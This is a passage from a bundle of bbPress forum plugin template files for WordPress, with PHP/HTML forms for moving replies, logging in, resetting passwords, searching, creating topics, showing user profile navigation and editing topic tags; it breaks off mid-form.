		<div id="move-reply-<?php bbp_topic_id(); ?>" class="bbp-reply-move">

			<form id="move_reply" name="move_reply" method="post">

				<fieldset class="bbp-form">

					<legend><?php printf( esc_html__( 'Move reply "%s"', 'bbpress' ), bbp_get_reply_title() ); ?></legend>

					<div>

						<div class="bbp-template-notice info">
							<ul>
								<li><?php esc_html_e( 'You can either make this reply a new topic with a new title, or merge it into an existing topic.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-template-notice">
							<ul>
								<li><?php esc_html_e( 'If you choose an existing topic, replies will be ordered by the time and date they were created.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<fieldset class="bbp-form">
							<legend><?php esc_html_e( 'Move Method', 'bbpress' ); ?></legend>

							<div>
								<input name="bbp_reply_move_option" id="bbp_reply_move_option_reply" type="radio" checked="checked" value="topic" />
								<label for="bbp_reply_move_option_reply"><?php printf( esc_html__( 'New topic in %s titled:', 'bbpress' ), bbp_get_forum_title( bbp_get_reply_forum_id( bbp_get_reply_id() ) ) ); ?></label>
								<input type="text" id="bbp_reply_move_destination_title" value="<?php printf( esc_html__( 'Moved: %s', 'bbpress' ), bbp_get_reply_title() ); ?>" size="35" name="bbp_reply_move_destination_title" />
							</div>

							<?php if ( bbp_has_topics( array( 'show_stickies' => false, 'post_parent' => bbp_get_reply_forum_id( bbp_get_reply_id() ), 'post__not_in' => array( bbp_get_reply_topic_id( bbp_get_reply_id() ) ) ) ) ) : ?>

								<div>
									<input name="bbp_reply_move_option" id="bbp_reply_move_option_existing" type="radio" value="existing" />
									<label for="bbp_reply_move_option_existing"><?php esc_html_e( 'Use an existing topic in this forum:', 'bbpress' ); ?></label>

									<?php
										bbp_dropdown( array(
											'post_type'   => bbp_get_topic_post_type(),
											'post_parent' => bbp_get_reply_forum_id( bbp_get_reply_id() ),
											'selected'    => -1,
											'exclude'     => bbp_get_reply_topic_id( bbp_get_reply_id() ),
											'select_id'   => 'bbp_destination_topic'
										) );
									?>

								</div>

							<?php endif; ?>

						</fieldset>

						<div class="bbp-template-notice error" role="alert" tabindex="-1">
							<ul>
								<li><?php esc_html_e( 'This process cannot be undone.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-submit-wrapper">
							<button type="submit" id="bbp_move_reply_submit" name="bbp_move_reply_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>
						</div>
					</div>

					<?php bbp_move_reply_form_fields(); ?>

				</fieldset>
			</form>
		</div>

	<?php else : ?>

		<div id="no-reply-<?php bbp_reply_id(); ?>" class="bbp-no-reply">
			<div class="entry-content"><?php is_user_logged_in()
				? esc_html_e( 'You do not have permission to edit this reply.', 'bbpress' )
				: esc_html_e( 'You cannot edit this reply.',                    'bbpress' );
			?></div>
		</div>

	<?php endif; ?>

</div>
templates/default/bbpress/form-user-passwords.php000066600000004174151771460310016320 0ustar00<?php

/**
 * User Password Generator
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

// Filters the display of the password fields
if ( apply_filters( 'show_password_fields', true, bbpress()->displayed_user ) ) : ?>

<div id="password" class="user-pass1-wrap">
	<label for="user_login"><?php esc_html_e( 'Password', 'bbpress' ); ?></label>
	<button type="button" class="button wp-generate-pw hide-if-no-js"><?php esc_html_e( 'Generate Password', 'bbpress' ); ?></button>

	<fieldset class="bbp-form password wp-pwd hide-if-js">
		<span class="password-input-wrapper">
			<input type="password" name="pass1" id="pass1" class="regular-text" value="" autocomplete="off" data-pw="<?php echo esc_attr( wp_generate_password( 24 ) ); ?>" aria-describedby="pass-strength-result" />
		</span>

		<span class="password-button-wrapper">
			<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password', 'bbpress' ); ?>">
				<span class="dashicons dashicons-hidden"></span>
				<span class="text"><?php esc_html_e( 'Hide', 'bbpress' ); ?></span>
			</button><button type="button" class="button wp-cancel-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Cancel password change', 'bbpress' ); ?>">
				<span class="dashicons dashicons-no"></span>
				<span class="text"><?php esc_html_e( 'Cancel', 'bbpress' ); ?></span>
			</button>
		</span>

		<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
	</fieldset>
</div>

<div class="user-pass2-wrap hide-if-js">
	<label for="pass2"><?php esc_html_e( 'Repeat New Password', 'bbpress' ); ?></label>
	<input name="pass2" type="password" id="pass2" class="regular-text" value="" autocomplete="off" />
	<p class="description"><?php esc_html_e( 'Type your new password again.', 'bbpress' ); ?></p>
</div>

<div class="pw-weak">
	<label for="pw_weak"><?php esc_html_e( 'Confirm', 'bbpress' ); ?></label>
	<input type="checkbox" name="pw_weak" class="pw-checkbox checkbox" />
	<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
</div>

<?php endif;
templates/default/bbpress/form-reply-search.php000066600000001155151771460310015711 0ustar00<?php

/**
 * Search
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_allow_search() ) : ?>

	<div class="bbp-search-form">
		<form role="search" method="get" id="bbp-reply-search-form">
			<div>
				<label class="screen-reader-text hidden" for="rs"><?php esc_html_e( 'Search replies:', 'bbpress' ); ?></label>
				<input type="text" value="<?php bbp_search_terms(); ?>" name="rs" id="rs" />
				<input class="button" type="submit" id="bbp_search_submit" value="<?php esc_attr_e( 'Search', 'bbpress' ); ?>" />
			</div>
		</form>
	</div>

<?php endif;
templates/default/bbpress/form-user-lost-pass.php000066600000001721151771460310016213 0ustar00<?php

/**
 * User Lost Password Form
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<form method="post" action="<?php bbp_wp_login_action( array( 'action' => 'lostpassword', 'context' => 'login_post' ) ); ?>" class="bbp-login-form">
	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Lost Password', 'bbpress' ); ?></legend>

		<div class="bbp-username">
			<p>
				<label for="user_login" class="hide"><?php esc_html_e( 'Username or Email', 'bbpress' ); ?>: </label>
				<input type="text" name="user_login" value="" size="20" id="user_login" maxlength="100" autocomplete="off" />
			</p>
		</div>

		<?php do_action( 'login_form', 'resetpass' ); ?>

		<div class="bbp-submit-wrapper">

			<button type="submit" name="user-submit" class="button submit user-submit"><?php esc_html_e( 'Reset My Password', 'bbpress' ); ?></button>

			<?php bbp_user_lost_pass_fields(); ?>

		</div>
	</fieldset>
</form>
templates/default/bbpress/form-user-login.php000066600000002703151771460310015377 0ustar00<?php

/**
 * User Login Form
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<form method="post" action="<?php bbp_wp_login_action( array( 'context' => 'login_post' ) ); ?>" class="bbp-login-form">
	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Log In', 'bbpress' ); ?></legend>

		<div class="bbp-username">
			<label for="user_login"><?php esc_html_e( 'Username', 'bbpress' ); ?>: </label>
			<input type="text" name="log" value="<?php bbp_sanitize_val( 'user_login', 'text' ); ?>" size="20" maxlength="100" id="user_login" autocomplete="off" />
		</div>

		<div class="bbp-password">
			<label for="user_pass"><?php esc_html_e( 'Password', 'bbpress' ); ?>: </label>
			<input type="password" name="pwd" value="<?php bbp_sanitize_val( 'user_pass', 'password' ); ?>" size="20" id="user_pass" autocomplete="off" />
		</div>

		<div class="bbp-remember-me">
			<input type="checkbox" name="rememberme" value="forever" <?php checked( bbp_get_sanitize_val( 'rememberme', 'checkbox' ) ); ?> id="rememberme" />
			<label for="rememberme"><?php esc_html_e( 'Keep me signed in', 'bbpress' ); ?></label>
		</div>

		<?php do_action( 'login_form' ); ?>

		<div class="bbp-submit-wrapper">

			<button type="submit" name="user-submit" id="user-submit" class="button submit user-submit"><?php esc_html_e( 'Log In', 'bbpress' ); ?></button>

			<?php bbp_user_login_fields(); ?>

		</div>
	</fieldset>
</form>
templates/default/bbpress/feedback-no-search.php000066600000000464151771460310015755 0ustar00<?php

/**
 * No Search Results Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-template-notice">
	<ul>
		<li><?php esc_html_e( 'Oh, bother! No search results were found here.', 'bbpress' ); ?></li>
	</ul>
</div>
templates/default/bbpress/loop-search-forum.php000066600000002204151771460310015710 0ustar00<?php

/**
 * Search Loop - Single Forum
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-forum-header">
	<div class="bbp-meta">
		<span class="bbp-forum-post-date"><?php printf( esc_html__( 'Last updated %s', 'bbpress' ), bbp_get_forum_last_active_time() ); ?></span>
		<a href="<?php bbp_forum_permalink(); ?>" class="bbp-forum-permalink">#<?php bbp_forum_id(); ?></a>
	</div><!-- .bbp-meta -->

	<div class="bbp-forum-title">

		<?php do_action( 'bbp_theme_before_forum_title' ); ?>

		<h3><?php esc_html_e( 'Forum:', 'bbpress' ); ?>
		<a href="<?php bbp_forum_permalink(); ?>"><?php bbp_forum_title(); ?></a></h3>

		<?php do_action( 'bbp_theme_after_forum_title' ); ?>

	</div><!-- .bbp-forum-title -->
</div><!-- .bbp-forum-header -->

<div id="post-<?php bbp_forum_id(); ?>" <?php bbp_forum_class(); ?>>
	<div class="bbp-forum-content">

		<?php do_action( 'bbp_theme_before_forum_content' ); ?>

		<?php bbp_forum_content(); ?>

		<?php do_action( 'bbp_theme_after_forum_content' ); ?>

	</div><!-- .bbp-forum-content -->
</div><!-- #post-<?php bbp_forum_id(); ?> -->
templates/default/bbpress/form-topic.php000066600000020022151771460310014423 0ustar00<?php

/**
 * New/Edit Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! bbp_is_single_forum() ) : ?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

<?php endif; ?>

<?php if ( bbp_is_topic_edit() ) : ?>

	<?php bbp_topic_tag_list( bbp_get_topic_id() ); ?>

	<?php bbp_single_topic_description( array( 'topic_id' => bbp_get_topic_id() ) ); ?>

	<?php bbp_get_template_part( 'alert', 'topic-lock' ); ?>

<?php endif; ?>

<?php if ( bbp_current_user_can_access_create_topic_form() ) : ?>

	<div id="new-topic-<?php bbp_topic_id(); ?>" class="bbp-topic-form">

		<form id="new-post" name="new-post" method="post">

			<?php do_action( 'bbp_theme_before_topic_form' ); ?>

			<fieldset class="bbp-form">
				<legend>

					<?php
						if ( bbp_is_topic_edit() ) :
							printf( esc_html__( 'Now Editing &ldquo;%s&rdquo;', 'bbpress' ), bbp_get_topic_title() );
						else :
							( bbp_is_single_forum() && bbp_get_forum_title() )
								? printf( esc_html__( 'Create New Topic in &ldquo;%s&rdquo;', 'bbpress' ), bbp_get_forum_title() )
								: esc_html_e( 'Create New Topic', 'bbpress' );
						endif;
					?>

				</legend>

				<?php do_action( 'bbp_theme_before_topic_form_notices' ); ?>

				<?php if ( ! bbp_is_topic_edit() && bbp_is_forum_closed() ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'This forum is marked as closed to new topics, however your posting capabilities still allow you to create a topic.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php if ( current_user_can( 'unfiltered_html' ) ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'Your account has the ability to post unrestricted HTML content.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php do_action( 'bbp_template_notices' ); ?>

				<div>

					<?php bbp_get_template_part( 'form', 'anonymous' ); ?>

					<?php do_action( 'bbp_theme_before_topic_form_title' ); ?>

					<p>
						<label for="bbp_topic_title"><?php printf( esc_html__( 'Topic Title (Maximum Length: %d):', 'bbpress' ), bbp_get_title_max_length() ); ?></label><br />
						<input type="text" id="bbp_topic_title" value="<?php bbp_form_topic_title(); ?>" size="40" name="bbp_topic_title" maxlength="<?php bbp_title_max_length(); ?>" />
					</p>

					<?php do_action( 'bbp_theme_after_topic_form_title' ); ?>

					<?php do_action( 'bbp_theme_before_topic_form_content' ); ?>

					<?php bbp_the_content( array( 'context' => 'topic' ) ); ?>

					<?php do_action( 'bbp_theme_after_topic_form_content' ); ?>

					<?php if ( ! ( bbp_use_wp_editor() || current_user_can( 'unfiltered_html' ) ) ) : ?>

						<p class="form-allowed-tags">
							<label><?php printf( esc_html__( 'You may use these %s tags and attributes:', 'bbpress' ), '<abbr title="HyperText Markup Language">HTML</abbr>' ); ?></label><br />
							<code><?php bbp_allowed_tags(); ?></code>
						</p>

					<?php endif; ?>

					<?php if ( bbp_allow_topic_tags() && current_user_can( 'assign_topic_tags', bbp_get_topic_id() ) ) : ?>

						<?php do_action( 'bbp_theme_before_topic_form_tags' ); ?>

						<p>
							<label for="bbp_topic_tags"><?php esc_html_e( 'Topic Tags:', 'bbpress' ); ?></label><br />
							<input type="text" value="<?php bbp_form_topic_tags(); ?>" size="40" name="bbp_topic_tags" id="bbp_topic_tags" <?php disabled( bbp_is_topic_spam() ); ?> />
						</p>

						<?php do_action( 'bbp_theme_after_topic_form_tags' ); ?>

					<?php endif; ?>

					<?php if ( ! bbp_is_single_forum() ) : ?>

						<?php do_action( 'bbp_theme_before_topic_form_forum' ); ?>

						<p>
							<label for="bbp_forum_id"><?php esc_html_e( 'Forum:', 'bbpress' ); ?></label><br />
							<?php
								bbp_dropdown( array(
									'show_none' => esc_html__( '&mdash; No forum &mdash;', 'bbpress' ),
									'selected'  => bbp_get_form_topic_forum()
								) );
							?>
						</p>

						<?php do_action( 'bbp_theme_after_topic_form_forum' ); ?>

					<?php endif; ?>

					<?php if ( current_user_can( 'moderate', bbp_get_topic_id() ) ) : ?>

						<?php do_action( 'bbp_theme_before_topic_form_type' ); ?>

						<p>

							<label for="bbp_stick_topic"><?php esc_html_e( 'Topic Type:', 'bbpress' ); ?></label><br />

							<?php bbp_form_topic_type_dropdown(); ?>

						</p>

						<?php do_action( 'bbp_theme_after_topic_form_type' ); ?>

						<?php do_action( 'bbp_theme_before_topic_form_status' ); ?>

						<p>

							<label for="bbp_topic_status"><?php esc_html_e( 'Topic Status:', 'bbpress' ); ?></label><br />

							<?php bbp_form_topic_status_dropdown(); ?>

						</p>

						<?php do_action( 'bbp_theme_after_topic_form_status' ); ?>

					<?php endif; ?>

					<?php if ( bbp_is_subscriptions_active() && ! bbp_is_anonymous() && ( ! bbp_is_topic_edit() || ( bbp_is_topic_edit() && ! bbp_is_topic_anonymous() ) ) ) : ?>

						<?php do_action( 'bbp_theme_before_topic_form_subscriptions' ); ?>

						<p>
							<input name="bbp_topic_subscription" id="bbp_topic_subscription" type="checkbox" value="bbp_subscribe" <?php bbp_form_topic_subscribed(); ?> />

							<?php if ( bbp_is_topic_edit() && ( bbp_get_topic_author_id() !== bbp_get_current_user_id() ) ) : ?>

								<label for="bbp_topic_subscription"><?php esc_html_e( 'Notify the author of follow-up replies via email', 'bbpress' ); ?></label>

							<?php else : ?>

								<label for="bbp_topic_subscription"><?php esc_html_e( 'Notify me of follow-up replies via email', 'bbpress' ); ?></label>

							<?php endif; ?>
						</p>

						<?php do_action( 'bbp_theme_after_topic_form_subscriptions' ); ?>

					<?php endif; ?>

					<?php if ( bbp_allow_revisions() && bbp_is_topic_edit() ) : ?>

						<?php do_action( 'bbp_theme_before_topic_form_revisions' ); ?>

						<fieldset class="bbp-form">
							<legend>
								<input name="bbp_log_topic_edit" id="bbp_log_topic_edit" type="checkbox" value="1" <?php bbp_form_topic_log_edit(); ?> />
								<label for="bbp_log_topic_edit"><?php esc_html_e( 'Keep a log of this edit:', 'bbpress' ); ?></label><br />
							</legend>

							<div>
								<label for="bbp_topic_edit_reason"><?php printf( esc_html__( 'Optional reason for editing:', 'bbpress' ), bbp_get_current_user_name() ); ?></label><br />
								<input type="text" value="<?php bbp_form_topic_edit_reason(); ?>" size="40" name="bbp_topic_edit_reason" id="bbp_topic_edit_reason" />
							</div>
						</fieldset>

						<?php do_action( 'bbp_theme_after_topic_form_revisions' ); ?>

					<?php endif; ?>

					<?php do_action( 'bbp_theme_before_topic_form_submit_wrapper' ); ?>

					<div class="bbp-submit-wrapper">

						<?php do_action( 'bbp_theme_before_topic_form_submit_button' ); ?>

						<button type="submit" id="bbp_topic_submit" name="bbp_topic_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>

						<?php do_action( 'bbp_theme_after_topic_form_submit_button' ); ?>

					</div>

					<?php do_action( 'bbp_theme_after_topic_form_submit_wrapper' ); ?>

				</div>

				<?php bbp_topic_form_fields(); ?>

			</fieldset>

			<?php do_action( 'bbp_theme_after_topic_form' ); ?>

		</form>
	</div>

<?php elseif ( bbp_is_forum_closed() ) : ?>

	<div id="forum-closed-<?php bbp_forum_id(); ?>" class="bbp-forum-closed">
		<div class="bbp-template-notice">
			<ul>
				<li><?php printf( esc_html__( 'The forum &#8216;%s&#8217; is closed to new topics and replies.', 'bbpress' ), bbp_get_forum_title() ); ?></li>
			</ul>
		</div>
	</div>

<?php else : ?>

	<div id="no-topic-<?php bbp_forum_id(); ?>" class="bbp-no-topic">
		<div class="bbp-template-notice">
			<ul>
				<li><?php is_user_logged_in()
					? esc_html_e( 'You cannot create new topics.',               'bbpress' )
					: esc_html_e( 'You must be logged in to create new topics.', 'bbpress' );
				?></li>
			</ul>
		</div>

		<?php if ( ! is_user_logged_in() ) : ?>

			<?php bbp_get_template_part( 'form', 'user-login' ); ?>

		<?php endif; ?>

	</div>

<?php endif; ?>

<?php if ( ! bbp_is_single_forum() ) : ?>

</div>

<?php endif;
templates/default/bbpress/loop-search.php000066600000002156151771460310014570 0ustar00<?php

/**
 * Search Loop
 *
 * @package bbPress
 * @subpackage Theme
*/

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_search_results_loop' ); ?>

<ul id="bbp-search-results" class="forums bbp-search-results">

	<li class="bbp-header">

		<div class="bbp-search-author"><?php esc_html_e( 'Author',  'bbpress' ); ?></div><!-- .bbp-reply-author -->

		<div class="bbp-search-content">

			<?php esc_html_e( 'Search Results', 'bbpress' ); ?>

		</div><!-- .bbp-search-content -->

	</li><!-- .bbp-header -->

	<li class="bbp-body">

		<?php while ( bbp_search_results() ) : bbp_the_search_result(); ?>

			<?php bbp_get_template_part( 'loop', 'search-' . get_post_type() ); ?>

		<?php endwhile; ?>

	</li><!-- .bbp-body -->

	<li class="bbp-footer">

		<div class="bbp-search-author"><?php esc_html_e( 'Author',  'bbpress' ); ?></div>

		<div class="bbp-search-content">

			<?php esc_html_e( 'Search Results', 'bbpress' ); ?>

		</div><!-- .bbp-search-content -->

	</li><!-- .bbp-footer -->

</ul><!-- #bbp-search-results -->

<?php do_action( 'bbp_template_after_search_results_loop' );templates/default/bbpress/content-search.php000066600000001512151771460310015264 0ustar00<?php

/**
 * Search Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php bbp_set_query_name( bbp_get_search_rewrite_id() ); ?>

	<?php do_action( 'bbp_template_before_search' ); ?>

	<?php if ( bbp_has_search_results() ) : ?>

		<?php bbp_get_template_part( 'pagination', 'search' ); ?>

		<?php bbp_get_template_part( 'loop',       'search' ); ?>

		<?php bbp_get_template_part( 'pagination', 'search' ); ?>

	<?php elseif ( bbp_get_search_terms() ) : ?>

		<?php bbp_get_template_part( 'feedback',   'no-search' ); ?>

	<?php else : ?>

		<?php bbp_get_template_part( 'form', 'search' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_search_results' ); ?>

</div>

templates/default/bbpress/user-details.php000066600000007420151771460310014754 0ustar00<?php

/**
 * User Details
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_details' ); ?>

<div id="bbp-single-user-details">
	<div id="bbp-user-avatar">
		<span class='vcard'>
			<a class="url fn n" href="<?php bbp_user_profile_url(); ?>" title="<?php bbp_displayed_user_field( 'display_name' ); ?>" rel="me">
				<?php echo get_avatar( bbp_get_displayed_user_field( 'user_email', 'raw' ), apply_filters( 'bbp_single_user_details_avatar_size', 150 ) ); ?>
			</a>
		</span>
	</div>

	<?php do_action( 'bbp_template_before_user_details_menu_items' ); ?>

	<div id="bbp-user-navigation">
		<ul>
			<li class="<?php if ( bbp_is_single_user_profile() ) :?>current<?php endif; ?>">
				<span class="vcard bbp-user-profile-link">
					<a class="url fn n" href="<?php bbp_user_profile_url(); ?>" title="<?php printf( esc_attr__( "%s's Profile", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>" rel="me"><?php esc_html_e( 'Profile', 'bbpress' ); ?></a>
				</span>
			</li>

			<li class="<?php if ( bbp_is_single_user_topics() ) :?>current<?php endif; ?>">
				<span class='bbp-user-topics-created-link'>
					<a href="<?php bbp_user_topics_created_url(); ?>" title="<?php printf( esc_attr__( "%s's Topics Started", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Topics Started', 'bbpress' ); ?></a>
				</span>
			</li>

			<li class="<?php if ( bbp_is_single_user_replies() ) :?>current<?php endif; ?>">
				<span class='bbp-user-replies-created-link'>
					<a href="<?php bbp_user_replies_created_url(); ?>" title="<?php printf( esc_attr__( "%s's Replies Created", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Replies Created', 'bbpress' ); ?></a>
				</span>
			</li>

			<?php if ( bbp_is_engagements_active() ) : ?>
				<li class="<?php if ( bbp_is_single_user_engagements() ) :?>current<?php endif; ?>">
					<span class='bbp-user-engagements-created-link'>
						<a href="<?php bbp_user_engagements_url(); ?>" title="<?php printf( esc_attr__( "%s's Engagements", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Engagements', 'bbpress' ); ?></a>
					</span>
				</li>
			<?php endif; ?>

			<?php if ( bbp_is_favorites_active() ) : ?>
				<li class="<?php if ( bbp_is_favorites() ) :?>current<?php endif; ?>">
					<span class="bbp-user-favorites-link">
						<a href="<?php bbp_favorites_permalink(); ?>" title="<?php printf( esc_attr__( "%s's Favorites", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Favorites', 'bbpress' ); ?></a>
					</span>
				</li>
			<?php endif; ?>

			<?php if ( bbp_is_user_home() || current_user_can( 'edit_user', bbp_get_displayed_user_id() ) ) : ?>

				<?php if ( bbp_is_subscriptions_active() ) : ?>
					<li class="<?php if ( bbp_is_subscriptions() ) :?>current<?php endif; ?>">
						<span class="bbp-user-subscriptions-link">
							<a href="<?php bbp_subscriptions_permalink(); ?>" title="<?php printf( esc_attr__( "%s's Subscriptions", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Subscriptions', 'bbpress' ); ?></a>
						</span>
					</li>
				<?php endif; ?>

				<li class="<?php if ( bbp_is_single_user_edit() ) :?>current<?php endif; ?>">
					<span class="bbp-user-edit-link">
						<a href="<?php bbp_user_profile_edit_url(); ?>" title="<?php printf( esc_attr__( "Edit %s's Profile", 'bbpress' ), bbp_get_displayed_user_field( 'display_name' ) ); ?>"><?php esc_html_e( 'Edit', 'bbpress' ); ?></a>
					</span>
				</li>

			<?php endif; ?>

		</ul>

		<?php do_action( 'bbp_template_after_user_details_menu_items' ); ?>

	</div>
</div>

<?php do_action( 'bbp_template_after_user_details' );
templates/default/bbpress/form-topic-search.php000066600000001154151771460310015673 0ustar00<?php

/**
 * Search
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_allow_search() ) : ?>

	<div class="bbp-search-form">
		<form role="search" method="get" id="bbp-topic-search-form">
			<div>
				<label class="screen-reader-text hidden" for="ts"><?php esc_html_e( 'Search topics:', 'bbpress' ); ?></label>
				<input type="text" value="<?php bbp_search_terms(); ?>" name="ts" id="ts" />
				<input class="button" type="submit" id="bbp_search_submit" value="<?php esc_attr_e( 'Search', 'bbpress' ); ?>" />
			</div>
		</form>
	</div>

<?php endif;
templates/default/bbpress/form-user-roles.php000066600000000640151771460310015411 0ustar00<?php

/**
 * User Roles Profile Edit Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div>
	<label for="role"><?php esc_html_e( 'Blog Role', 'bbpress' ) ?></label>

	<?php bbp_edit_user_blog_role(); ?>

</div>

<div>
	<label for="forum-role"><?php esc_html_e( 'Forum Role', 'bbpress' ) ?></label>

	<?php bbp_edit_user_forums_role(); ?>

</div>
templates/default/bbpress/loop-single-forum.php000066600000003750151771460310015733 0ustar00<?php

/**
 * Forums Loop - Single Forum
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<ul id="bbp-forum-<?php bbp_forum_id(); ?>" <?php bbp_forum_class(); ?>>
	<li class="bbp-forum-info">

		<?php if ( bbp_is_user_home() && bbp_is_subscriptions() ) : ?>

			<span class="bbp-row-actions">

				<?php do_action( 'bbp_theme_before_forum_subscription_action' ); ?>

				<?php bbp_forum_subscription_link( array( 'before' => '', 'subscribe' => '+', 'unsubscribe' => '&times;' ) ); ?>

				<?php do_action( 'bbp_theme_after_forum_subscription_action' ); ?>

			</span>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_before_forum_title' ); ?>

		<a class="bbp-forum-title" href="<?php bbp_forum_permalink(); ?>"><?php bbp_forum_title(); ?></a>

		<?php do_action( 'bbp_theme_after_forum_title' ); ?>

		<?php do_action( 'bbp_theme_before_forum_description' ); ?>

		<div class="bbp-forum-content"><?php bbp_forum_content(); ?></div>

		<?php do_action( 'bbp_theme_after_forum_description' ); ?>

		<?php do_action( 'bbp_theme_before_forum_sub_forums' ); ?>

		<?php bbp_list_forums(); ?>

		<?php do_action( 'bbp_theme_after_forum_sub_forums' ); ?>

		<?php bbp_forum_row_actions(); ?>

	</li>

	<li class="bbp-forum-topic-count"><?php bbp_forum_topic_count(); ?></li>

	<li class="bbp-forum-reply-count"><?php bbp_show_lead_topic() ? bbp_forum_reply_count() : bbp_forum_post_count(); ?></li>

	<li class="bbp-forum-freshness">

		<?php do_action( 'bbp_theme_before_forum_freshness_link' ); ?>

		<?php bbp_forum_freshness_link(); ?>

		<?php do_action( 'bbp_theme_after_forum_freshness_link' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_author' ); ?>

			<span class="bbp-topic-freshness-author"><?php bbp_author_link( array( 'post_id' => bbp_get_forum_last_active_id(), 'size' => 14 ) ); ?></span>

			<?php do_action( 'bbp_theme_after_topic_author' ); ?>

		</p>
	</li>
</ul><!-- #bbp-forum-<?php bbp_forum_id(); ?> -->
templates/default/bbpress/form-topic-tag.php000066600000011255151771460310015204 0ustar00<?php

/**
 * Edit Topic Tag
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( current_user_can( 'edit_topic_tags' ) ) : ?>

	<div id="edit-topic-tag-<?php bbp_topic_tag_id(); ?>" class="bbp-topic-tag-form">

		<fieldset class="bbp-form" id="bbp-edit-topic-tag">

			<legend><?php printf( esc_html__( 'Manage Tag: "%s"', 'bbpress' ), bbp_get_topic_tag_name() ); ?></legend>

			<fieldset class="bbp-form" id="tag-rename">

				<legend><?php esc_html_e( 'Rename', 'bbpress' ); ?></legend>

				<div class="bbp-template-notice info">
					<ul>
						<li><?php esc_html_e( 'Leave the slug empty to have one automatically generated.', 'bbpress' ); ?></li>
					</ul>
				</div>

				<div class="bbp-template-notice">
					<ul>
						<li><?php esc_html_e( 'Changing the slug affects its permalink. Any links to the old slug will stop working.', 'bbpress' ); ?></li>
					</ul>
				</div>

				<form id="rename_tag" name="rename_tag" method="post">

					<div>
						<label for="tag-name"><?php esc_html_e( 'Name:', 'bbpress' ); ?></label>
						<input type="text" id="tag-name" name="tag-name" size="20" maxlength="40" value="<?php echo esc_attr( bbp_get_topic_tag_name() ); ?>" />
					</div>

					<div>
						<label for="tag-slug"><?php esc_html_e( 'Slug:', 'bbpress' ); ?></label>
						<input type="text" id="tag-slug" name="tag-slug" size="20" maxlength="40" value="<?php echo esc_attr( apply_filters( 'editable_slug', bbp_get_topic_tag_slug() ) ); ?>" />
					</div>

					<div>
						<label for="tag-description"><?php esc_html_e( 'Description:', 'bbpress' ); ?></label>
						<input type="text" id="tag-description" name="tag-description" size="20" value="<?php echo esc_attr( bbp_get_topic_tag_description( array( 'before' => '', 'after' => '' ) ) ); ?>" />
					</div>

					<div class="bbp-submit-wrapper">
						<button type="submit" class="button submit"><?php esc_attr_e( 'Update', 'bbpress' ); ?></button>

						<input type="hidden" name="tag-id" value="<?php bbp_topic_tag_id(); ?>" />
						<input type="hidden" name="action" value="bbp-update-topic-tag" />

						<?php wp_nonce_field( 'update-tag_' . bbp_get_topic_tag_id() ); ?>

					</div>
				</form>

			</fieldset>

			<fieldset class="bbp-form" id="tag-merge">

				<legend><?php esc_html_e( 'Merge', 'bbpress' ); ?></legend>

				<div class="bbp-template-notice">
					<ul>
						<li><?php esc_html_e( 'Merging tags together cannot be undone.', 'bbpress' ); ?></li>
					</ul>
				</div>

				<form id="merge_tag" name="merge_tag" method="post">

					<div>
